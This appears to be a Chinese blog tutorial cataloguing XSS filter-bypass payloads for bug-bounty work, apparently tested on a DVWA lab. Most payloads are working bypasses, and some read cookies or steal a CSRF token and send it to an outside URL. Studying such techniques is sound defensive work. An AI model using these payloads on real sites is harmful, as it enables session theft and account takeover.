#渗透测试#SRC漏洞挖掘#XSS跨站脚本介绍02绕过

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章阅读。

目录

漏洞挖掘步骤:

 其他绕过技巧:

 进阶绕过:

常用的绕过技巧:

 xss漏洞绕过:


漏洞挖掘步骤:

找到可能存在漏洞的地方,查看是否有进行处理,没有处理进行相应攻击测试,成功发现漏洞

对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做Fuzzing;同样是Fuzzing,有些人挖洞比较高效,有些人却不那么容易挖出漏洞,除了掌握的技术之外,比如编码的绕过处理等,还包含一些技巧性的东西,掌握一些技巧和规律,可以使得挖洞会更加从容。

输出点为HTML标签的文本区域<textarea>输出点</textarea>
<script>alert(1)</script>
输出点为html标签的属性值<input type="text" name="address" value="输出点">
"><script>alert(1)</script>
" οnfοcus="alert(1)
输出点为JavaScript脚本中的字符串<script>var a=”输出点”; </script>
“; alert(1); var b=”
';alert(1);</script>//
输出点为以URL位置的属性值<a href="输出点">click here</a><embed src="输出点"><iframe src="输出点"><object data="输出点">
" οnfοcus="alert(1)
"><script>alert(1)</script>
javascript:alert(1);

 其他绕过技巧:

【浏览器解析过程】
浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。下面以一篇HTML文档解析来简单的讨论下解析器如何协同工作的。
首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。每个解析过程中也有许多细节,下面再做具体讨论。
基本概念
【HTML字符实体】:在呈现HTML页面时,针对某些特殊字符如“<”或”>”直接使用,浏览器会误以为它们标签的开始或结束,若想正确的在HTML页面呈现特殊字符就需要用到其对应的字符实体。字符实体是一个预先定义好的转义序列,它定义了一些无法在文本内容中输入的字符或符号。字符实体以&开头+预先定义的实体名称,以分号结束,如“<”的实体名称为&lt; 或以&开头+#符号以及字符的十进制数字,如”<”的实体编号为&#60;,字符都是有实体编号的但有些字符没有实体名称。
【JavaScript编码】:最常用的如“\uXXXX”这种写法为Unicode转义序列,表示一个字符,其中xxxx表示一个16进制数字,如”<” Unicode编码为“\u003c”。
【URL编码】:%加字符的ASCII编码对于的2位16进制数字,如”/”对应的URL编码为%2f。

<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<SCRIPT>alert(document.cookie)</SCRIPT>
<sc<script>ript>alert(/xss/)</script>
<img src=1 οnerrοr="setInterval('alert(\"Hello\");', 5000);">
<img src=1 οnerrοr=print(1)>
<img src=x οnerrοr="a='ale';b='rt';c='(1)';eval(a+b+c)">        ##eval()可以将字符串拼接成可执行脚本
<IMG SRC="javascript:alert(1);">
<IMG SRC=javascript:alert(1)>
<IMG SRC=JaVaScRiPt:alert(1)>
<a href=javascript:alert(1)>
<a href=javascript:top["al"+"ert"](1)>
<script>top["al"+"ert"](1)</script>
<details οntοggle=top['al'+'ert'](1) open >
<svg/οnlοad=alert(1)>
<svg%0aοnlοad=alert(1)>
<body οnlοad=alert(1)>
<script>while(1)(window.open());</script>
<iframe allowfullscreen="allowfullscreen" frameborder="0" src="javascript:alert(222)"></iframe>
<input οnblur=alert`1`>111</input>

<img src="app/assets/img/details/loading.png" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<video οnlοadstart=[1].find(alert) source src>
<a href="javascript:%0a%61l\u0065rt(1)">click me</a><a href='javascript:%0a%61l\u0065rt(1)'>click me</a>
<svg><animate onbegin=alert`hgj` attributeName=x dur=1s>
<details οntοggle=alert`1` open>
<iframe allowfullscreen="allowfullscreen" frameborder="0" src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>///PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+
<a href=j&#x61;vascript:&#x61;lert(1)>11</a>
<a/href="%25%36%61avaScript:%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34(1)">click me</a>
<a/href="j    avaScript:al
ert(1)">click me</a>
  <a href="ja    va
sc    ri
p    t:ale    rt(11)">click me..........</a>
<a href="j    avascript:eval('a\x6cert(1)')">111222</a>    【【【利用tab和回车绕过过滤。需要"号包围?】】】#####目前发现只有a连接可以使用这种方式
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>    【【【data协议】】】img标签data协议不解析js脚本
<object data="data:text/html;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">
<iframe src="data:text/html,<script>alert(555)</script>"></iframe>
<svg>
<use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CjxhIHhsaW5rOmhyZWY9ImphdmFzY3JpcHQ6YWxlcnQoJ3hzcycpIj48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgLz48L2E+Cjwvc3ZnPg==#rectangle" />
</svg>

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:href="javascript:alert('xss')"><rect x="0" y="0" width="100" height="100" /></a>
</svg>

<svg οnlοad="alert(1)" id="m7" version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="100" height="100"></svg>

svgxss

<svg id="logo" t="1694747017468" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="8526"
    xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <a xlink:href="javascript:alert(document.cookie)">
        <path d="M446.50124 183.429683s-71.363328-3.247974-116.870777 55.568596c-45.528939 58.814524-11.337209 148.651598 10.248411 194.994066 21.584598 46.341445 135.480624 228.190119 139.664923 232.190223 4.151553 4.010337 9.154497 2.322905 9.42772-1.276063 0.275269-3.569292 13.010315-264.227893 2.76088-328.498686-10.248412-64.272839-40.591487-145.927557-45.231157-152.978136zM199.86091 304.604486c-8.156774 0.87288-66.697051 59.253522-71.973218 116.331495-5.301749 57.07388 19.128663 95.057983 87.341231 140.499941 68.664869 48.689932 231.852532 138.264017 234.849796 130.547265 3.001357-7.696286-63.235207-125.387755-117.44076-210.986295-54.201459-85.596494-124.656091-177.262216-132.777049-176.392406z m21.946848 526.487969c49.38578 22.079878 126.322034-27.508517 147.604756-41.930994 19.792788-15.121396 56.353472-42.919509 56.353473-42.919509l-279.836383 7.489578s26.491351 55.276954 75.878154 77.360925z m7.030114-226.13532c-50.083675-25.069979-153.122423-82.662675-157.154249-81.560574-4.030803 1.100054-19.553335 72.743768 12.670577 126.742613 32.223912 53.998845 94.978165 70.511937 123.777071 74.924433 32.379455 4.613064 222.75841 2.551102 221.482347-1.277086-1.122567-3.341095-150.662395-93.782943-200.775746-118.829386z m464.281185-365.957833c-45.503357-58.81657-116.869754-55.568596-116.869754-55.568596-4.63353 7.048533-34.983769 88.703251-45.231157 152.978137-10.249435 64.271816 2.517333 324.928371 2.789532 328.500732 0.275269 3.595898 5.244444 5.281283 9.423627 1.27504 4.1536-4.002151 118.081349-185.850825 139.667993-232.19227 21.553898-46.342468 55.748698-136.177496 10.219759-194.993043zM951.064874 523.395538c-4.02978-1.103124-107.068528 56.492642-157.151179 81.560574-50.083675 25.045419-199.652156 115.488291-200.748117 118.829385-1.302669 3.827165 189.076286 5.891174 221.455741 1.277087 28.79686-4.412496 91.551112-20.925588 123.777071-74.924434 32.253588-53.997821 16.697287-125.643582 12.666484-126.742612zM653.344169 789.161461c21.278629 14.421454 98.245581 64.010873 147.634432 41.930994 49.384757-22.086018 75.881225-77.360925 75.881224-77.360925l-279.837406-7.489578c-0.002047 0 36.556591 27.802206 56.32175 42.919509z m241.551428-368.226503c-5.304819-57.07695-63.84305-115.457592-71.970148-116.331495-8.151657-0.86981-78.608336 90.795912-132.809795 176.393429-54.207599 85.59854-120.439046 203.293079-117.438713 210.986295 3.000334 7.715729 166.212556-81.857333 234.851842-130.547265 68.208475-45.442982 92.672656-83.426061 87.366814-140.500964z" fill="#272536" p-id="8527"></path>
    </a>
</svg>
<style>@keyframes x{}</style><svg style='animation-name:x' onanimatiοnend='alert(789)'></svg><!--使用样式的事件比较冷门-->
<a href=javascript:eval("alert(111);var&#x20;x=new&#x20;XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var&#x20;d=x.responseText;alert(d);")>99999999</a>
<a href=javascript:eval("var&#x20;a=111;alert(a);alert('222')")>88888888</a>

a=alert,a(1)
[1].find(alert)
top['al'+'ert'](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
setTimeout('ale'+'rt(1)');                        eval()  setTimeout()   setInterval()  eval(decodeURIComponent("%61%6c%65%72%74%28%31%29"));


(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al&#101;rt(2)        //10进制unicode
al&#x65rt(1)        //16进制unicode
al\u0065rt(1)          //unicode
top['al\145rt'](1)  //八进制
top['al\x65rt'](1)  //十六进制
top[8680439..toString(30)](1)

 进阶绕过:

1、绕过 XSS-Filter,利用 <> 标签注入 Html/JavaScript 代码;

2、利用 HTML 标签的属性值进行 XSS 攻击。例如:<img src=“javascript:alert(‘xss’)”/>;(当然并不是所有的 Web 浏览器都支持 Javascript 伪协议,所以此类 XSS 攻击具有一定的局限性)

*3、【【【【回车和 Tab】】】。如果 XSS Filter 仅仅将敏感的输入字符列入**,比如 javascript,用户可以利用空格、回车和 Tab 键来绕过过滤,例如:<a href="javas                cript:al    ert(11)">click me..........</a>

4、利用事件来执行跨站脚本。例如:<img src=“#” “alert(1)”/>,当 src 错误的视乎就会执行 onerror 事件;

5、利用 CSS 跨站。例如:body {backgrund-image: url("javascript:alert('xss')")};##只能在低版本浏览器触发

6、扰乱过滤规则。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>;

*7、【【【【利用字符编码】】】】,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode;html编码,url编码,对js进行各种编码( JS 支持 unicode、eacapes、十六进制、十、八进制等编码形式);
<script>a\u006cert(1);</script>                    unicode
<script>eval('a\x6cert(1)');</script>                    十六进制
<script>eval('a\154ert(1)');</script><script>top['al\145rt'](3);</script>    八进制    需通过eval等函数?
8、拆分跨站法,将 XSS 攻击的代码拆分开来,适用于应用程序没有过滤 XSS 关键字符(如<、>)却对输入字符长度有限制的情况下;

9、DOM 型的 XSS 主要是由客户端的脚本通过 DOM 动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致 DOM 型的 XSS 的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;

10.<abc οnclick=alert(1) src=a>Click here</abc>    【【【自定义标签+事件处理器】】】

11.top[](),eval()  setTimeout()   setInterval()  execScript()  Function()等【【【等可以将字符串当作js脚本执行,可以绕过大量黑名单】】】
“top”也可以替换为“window”、“parent”、“self”或“this”

常用的绕过技巧:

1)大小写绕过
用于绕过黑名单(校验报错)安全防护。
例如:<ScRipT>alert('XSS')</sCRIpT>
2)双写绕过
用于绕过黑名单(置空方式)安全防护。
例如:<scrscriptipt>alert('XSS')</scrscriptipt>
3)编码绕过
用于绕过黑名单安全防护
十进制编码(同理十六进制,八进制)
<iframe src=alert(1)>
采用十进制编码后
<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
注意:标签不能编码,可以不加分好,可以在数字前用0填充,还可以把&#01、&#02、&#09等字符插入代码的头部或任意地方。
4)URL编码绕过
用于后台使用了URL解码的函数场景(URL中的payload肯定支持URL编码)
<script>alert('XSS')</script>
URL编码后
%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E
5)Unicode编码绕过
JavaScript支持Unicode编码
Unicode编码后
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
注意:不能编码符号和标签
6)JavaScript伪协议
<a href="alert(1)">xss</a>
支持伪协议的属性有href,lowsrc,bgsound,background,action,dynsr。此方式针对过滤不严谨的系统使用,比如系统只对
JS符号和关键字过滤,但是没有对"javascript"过滤,就可以利用此方法绕过。如果对"javascript"也会过滤,则可以结合其他的绕过技术一起利用,也可能成功绕过。
data伪协议<a/href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">xxx</a> (老版本浏览器已不支持)
7)`替换括号
<img src="1111" alert`1` />
8)/替换空格
<img/src/οnerrοr=alert(1)>
9)跨站拆分法
用于绕过后台的长度限制,将一个代码通过字符串拼接能力拆分成多条代码。
<script>z='document.'</script>
<script>z+='write("'</script>
<script>z+='<script'</script>
<script>z+='>alert(1'</script>
<script>z+=')</script'</script>
<script>z+='>"'</script>
<script></script>
10)String.fromCharCode()方法
用于黑名单过滤
该方法是JavaScript中的字符串方法,用于把ASCII转换成字符串。
<script>document.writeln(<script>alert("xss")</script>)</script>用String.fromCharCode表示后的形式如下:
<script>document.writeln(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,34,41,59,60,47,115,99,114,105,112,116,62))</script>
这个方法需要使用<script>标签包裹,或者配合JavaScript伪协议使用

 xss漏洞绕过:

 

1.过滤空格
可以用/代替空格
用url编码,回车换行也能代替空格,%0a,%09,%0d等代替空格
2.过滤分号引号
使用伪协议<a href=javascript:alert(1)>
3.过滤改写 标签属性事件等关键字
可以尝试大小写绕过
通过url编码绕过,或插入制表换行%0a%0d等url编码(需要在url中注入)
构造不常用的标签进行注入(过滤标签)
4.过滤一些自带的方法
可以拼接字符串绕过(如过滤alert()、Javascript 可以用)
使用html编码
5.将标签替换为空字符,或删除关键字
可以双写绕过
6.过滤括号
可以alert`1`
7.其他
可以使用tab或回车的方式绕过过滤

=
<>
'"`
想办法在标签中增加事件(尖括号被过滤),或增加新的标签(on事件被过滤)使用伪指令
如果页面可以嵌入其他页面,可以通过其他页面来构造payload   如:ng-include属性可以包含其他HTML文件,需要在同一个域名下
除了在文本框,在地址栏也可以注入,拦截包也可以注入
只要能在页面显示的数据都可以注入payload
优先第一个type如:
<input name="1" value="aaa" type="text"  type="hidden" οnclick=alert(2)>
//可以用于注释后面
闭合标签并构造新标签"><a href=javascript:alert(1)><"
闭合属性构造新属性或事件" οnclick="alert(1)   或" οnclick=alert(1) "   或" οnclick=alert(1) //


标签被改写:
直接输入javascript:alert(1)发现script会被识别改写,并且大小写绕过也不行。
那么可以使用单词中间掺杂空白字符的方法,妨碍后端识别指定单词。
符号    URL编码
制表    %09
换行    %0a
退格    %08
注:掺杂以上url编码的payload要提交到浏览器的地址栏才能生效。
test.php?keyword=javascr%09ipt%3Aalert(1)

还有一种方法可以使用提交框进行注入:&#x9
把&#x9插入到关键字之中,如下:
javascr&#x9ipt:alert(1)

自动检测URL,如果发现没有带http://内容则会显示为不合法。
javascr&#x9ipt:alert(1) //http://


事件:
οnclick=alert(1)
οnerrοr=alert(1)
οnmοuseοver=alert(1)
控制台打印
οnclick=console.log(1)

获取其他页面的token
<iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>

<iframe src="../csrf/" οnlοad="window.location.href = 'https://www.baidu.com/?user_token='+frames[0].document.getElementsByName('user_token')[0].value">

跳转
<iframe src="../csrf/" οnlοad="window.location.href='http://10.235.213.26:8081/dvwa/vulnerabilities/xss_r/'">
<iframe src="../csrf/" οnlοad="window.location.href='http://www.baidu.com/'">
http://10.235.213.26:8088/
http://localhost:8088/test1_war_exploded/csrftest2.jsp
file:///D:/csrftest.html
<iframe src="../csrf/" οnlοad="window.location.href='D:/csrftest.html'">
D:/csrftest.html

<iframe src="../csrf/" οnlοad=window.location.href='../xss_r/?name=11'>
<iframe src="../csrf/" οnlοad="a='window.location.href=';b='../xss_r/?name=11';eval(a+b);">
<iframe src="../csrf/" οnlοad="window.location.href='../xss_r/?name='+frames[0].document.getElementsByName('user_token')[0].value">
<iframe src="../csrf/" οnlοad=window.location.href='../xss_r/?name='+frames[0].document.getElementsByName('user_token')[0].value>
<iframe src="../csrf/" οnlοad="window.location.href='../csrf/?password_new='+frames[0].document.getElementsByName('user_token')[0].value">
<iframe src="../csrf/" οnlοad=window.location.href="../csrf/?password_new='111'&password_conf='111'&Change='Change'&user_token="+frames[0].document.getElementsByName('user_token')[0].value>
<iframe src="../csrf/" οnlοad=window.location.href="../csrf/?password_new=111&password_conf=111&Change=Change&user_token=123">
<iframe src="../csrf/" οnlοad=window.location.href='www.baidu.com/'>
html和url等编码主要是为了使<>"/等失效,防止影响页面和url结构
使用html实体编号绕过的时候,实体编号必须要是标签中的属性值(href=”实体编号”)
或者事件的值(比如οnclick=”实体编号”)这样浏览器才会翻译解析。比如alert()被过滤了就可以用HTML实体编码
过滤了尖括号就想想能否用on事件来触发漏洞。

将数据保存在localStorage
<iframe src="../csrf/" οnlοad="aaa='123';localStorage.setItem('temp',aaa);">
<iframe src="../csrf/" οnlοad=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);>
<iframe src="../csrf/" οnlοad=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);a=JSON.stringify(a);localStorage.setItem("temp2",a);>
<iframe src="../csrf/" οnlοad=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);localStorage.setItem("temp2",a);>

cookie、sessionStorage、localStorage
js设置和获取上面中的数据
1.localStorage - 没有时间限制的数据存储 

   var arr=[1,2,3];
   localStorage.setItem("temp",arr); //存入 参数: 1.调用的值 2.所要存入的数据 
   console.log(localStorage.getItem("temp"));//输出

 2.清空localStorage
  localStorage.clear(); //

 3.删除键值对
  localStorage.removeItem("arr"); 
 
/JSON对象转JSON字符串
  var obj = {"a": 1,"b": 2};
  obj=JSON.stringify(obj); //转化为JSON字符串
  localStorage.setItem("temp2", obj);

  //JSON字符串转JSON对象
  obj=JSON.parse(localStorage.getItem("temp2"));


测试弹窗:
alert("aaa")
confirm("aaa")
prompt("sometext","defaultvalue")

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/59576.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

封装axios、环境变量、api解耦、解决跨域、全局组件注入

官网&#xff1a;Axios中文文档 | Axios中文网 安装&#xff1a;npm install axios axios封装&#xff1a; // 1. 引入axios import axios from "axios"; import storage from /utils/storage // 2. 创建axios实例 const instance axios.create({baseURL: proces…

并发编程的基础:深入理解内存屏障(Memory Barriers)

内存屏障是一种基础语言&#xff0c;在不同的计算机架构下有不同的实现细节。本文主要在x86_64处理器下&#xff0c;通过Linux及其内核代码来分析和使用内存屏障 对大多数应用层开发者来说&#xff0c;“内存屏障”&#xff08;memory Barrier&#xff09;是一种陌生&#xff…

Windows转Mac过渡指南

最近由于工作原因开始使用mac电脑&#xff0c;说实话刚拿到手的时候&#xff0c;window党表示真的用不惯。坚持用一下午之后&#xff0c;发现真的yyds&#xff0c;这篇文章说说mac电脑的基本入门指南。 1. 不会使用mac的触摸板&#xff0c;接上鼠标发现滚轮和windows是反的。 …

poi excel数据统计导出

##poi excel导出案例 1.ajxa导出请求没有任何反应&#xff0c;打断点看了workBook中也有数据&#xff0c;网上查阅说ajax请求导出无法接收流&#xff0c;换成location.href,果然可以了 2.控制器代码 response.setCharacterEncoding("UTF-8");response.setContentTyp…

昆仑通态触摸屏-如何完成几个窗口的切换

一、启动窗口 想要哪一个窗口是启动时第一个显示的&#xff0c;就把谁设置为启动窗口就可以。 二、公共窗口 给一个窗口命名为公共窗口 然后选择一个窗口&#xff0c;将他的公共窗口设置为我们刚才命名的那个窗口 三、页面切换 页面切换&#xff0c;是通过在公共窗口内设置按…

golang 实现比特币内核:处理椭圆曲线中的天文数字

在比特币密码学中&#xff0c;我们需要处理天文数字&#xff0c;这个数字是如此巨大&#xff0c;以至于它很容易超出我们宇宙中原子的总数&#xff0c;也许 64 位的值不足以表示这个数字&#xff0c;而像加、乘、幂这样的操作如果使用 64 位整数会导致溢出&#xff0c;因此我们…

dns服务器配置

主服务器 1.挂载点 mount /dev/sr0 /mnt 2.防火墙关闭 systemctl stop firewalld setenforce 0 3.下载bind软件 dnf install bind -y 4.进行正向解析配置 vim /etc/named.conf options { listen-on port 53 { 192.168.92.128; }; directo…

GraphRAG本地部署使用及兼容千帆通义

文章目录 前言一、GraphRAG本地安装1.创建环境并安装2.准备demo数据3.初始化demo目录 二、GraphRAG兼容千帆通义等大模型1.安装 graphrag-more2.准备Demo数据3.初始化demo目录4.移动和修改 settings.yaml 文件 三、知识库构建与使用1.知识库构建2.执行查询 前言 GraphRAG是一种…

揭秘2024年最火的5个科技趋势,你准备好迎接了吗?

在这个信息化飞速发展的时代&#xff0c;科技正以前所未有的速度改变着我们的生活。2024年&#xff0c;科技行业将迎来哪些新的突破与趋势&#xff1f;从人工智能到量子计算&#xff0c;从数字货币到智能家居&#xff0c;未来已来&#xff0c;而我们正站在一个巨变的风口浪尖上…

MySQL排序查询

排序查询 在实际应用中,经常都需要按照某个字段都某种排序都结果,实现语法&#xff1a; select 查询列表 from 表 where 条件 order by 排序字段列表 asc | desc; 案例&#xff1a;查询所有员工信息,要求工资从大到小排列 select * from employees order by salary desc; /…

Python实例:爱心代码

前言 在编程的奇妙世界里,代码不仅仅是冰冷的指令集合,它还可以成为表达情感、传递温暖的独特方式。今天,我们将一同探索用 Python 语言绘制爱心的神奇之旅。 爱心,这个象征着爱与温暖的符号,一直以来都在人类的情感世界中占据着特殊的地位。而通过 Python 的强大功能,…

JS JavaScript实现h5页面间跳转

一、不在JS中跳转 如果你不想在 JavaScript 中写页面跳转&#xff0c;而是希望使用 HTML 或者其它前端方式来实现页面跳转&#xff0c;下面是一些常见的方法&#xff1a; 1. 使用 <a> 标签进行跳转 HTML 中最常见的跳转方式就是使用 <a> 标签。它可以让用户点击链…

scala学习记录,Set,Map

set&#xff1a;集合&#xff0c;表示没有重复元素的集合&#xff0c;特点&#xff1a;唯一 语法格式&#xff1a;val 变量名 Set [类型]&#xff08;元素1&#xff0c;元素2...&#xff09; 可变不可变 可变&#xff08;mutable&#xff09;可对元素进行添加&#xff0c;删…

基于SpringBoot的免税商品优选购物商城的设计与实现

一、项目背景 从古至今&#xff0c;通过书本获取知识信息的方式完全被互联网络信息化&#xff0c;但是免税商品优选购物商城&#xff0c;对于购物商城工作来说&#xff0c;仍然是一项非常重要的工作。尤其是免税商品优选购物商城&#xff0c;传统人工记录模式已不符合当前社会…

【深度学习】DreamClear:提升图片分辨率的模型

基于PixArt-XL-2模型,效果很好。 DreamClear:高容量真实世界图像修复与隐私安全数据集构建 在图像修复领域,处理真实世界中的低质量(Low-Quality, LQ)图像并恢复其高质量(High-Quality, HQ)版本一直是一个具有挑战性的任务。今天,我们将介绍一个最新的开源项目——Dr…

从零开始的c++之旅——多态

1. 多态的概念 通俗来说就是多种形态。 多态分为编译时多态&#xff08;静态多态&#xff09;和运行时多态&#xff08;动态多态&#xff09;。 编译时多态主要就是我们之前提过的函数重载和函数模板&#xff0c;同名提高传不同的参数就可以调 用不同的函数&#xff0c…

js实现blob类型转化为excel文件

需求 后端通过接口将excel文件通过blob类型数据进行返回&#xff0c;前端接收数据并将其转化为excel文件进行下载 实现 接口方法 responseType&#xff1a;值为blob&#xff0c;标记返回数据类型为blob Content-Type&#xff1a;请求头设置&#xff0c;值为application/vnd…

融云「北极星」专业版:指标异常及时告警,趋势变化预先知悉

说起程序员的痛苦时刻&#xff0c;深夜接到告警电话、短信绝对榜上有名&#xff0c;甚至可能留下“铃声 PTSD”。 这也从另一个侧面提醒我们&#xff0c;所有在前台给用户丝滑体验的互联网产品&#xff0c;背后都有庞杂的系统和大量的工程师在支撑。而这其中&#xff0c;监控平…

安全篇(1)判断安全固件

判断安全固件的方法 一、通过串口开机打印 改方法适用Android与Tina 1.开机打印为SBOOT为安全 [289]HELLO! SBOOT is starting! 2.开机打印boot0为非安全 [88]BOOT0 commit : 1cbb5ea8b3 二、通过读数据 1.getprop | grep verifiedbootstate 这条命令的输出表示设备的…

火山引擎VeDI数据服务平台:在电商场景中,如何解决API编排问题?

01 平台介绍 数据服务平台可以在保证服务高可靠性和高安全性的同时&#xff0c;为各业务线搭建数据服务统一出口&#xff0c;促进数据共享&#xff0c;为数据和应用之间建立了一座“沟通桥梁”。 同时&#xff0c;解决数据理解困难、异构、重复建设、审计运维困难等问题&#x…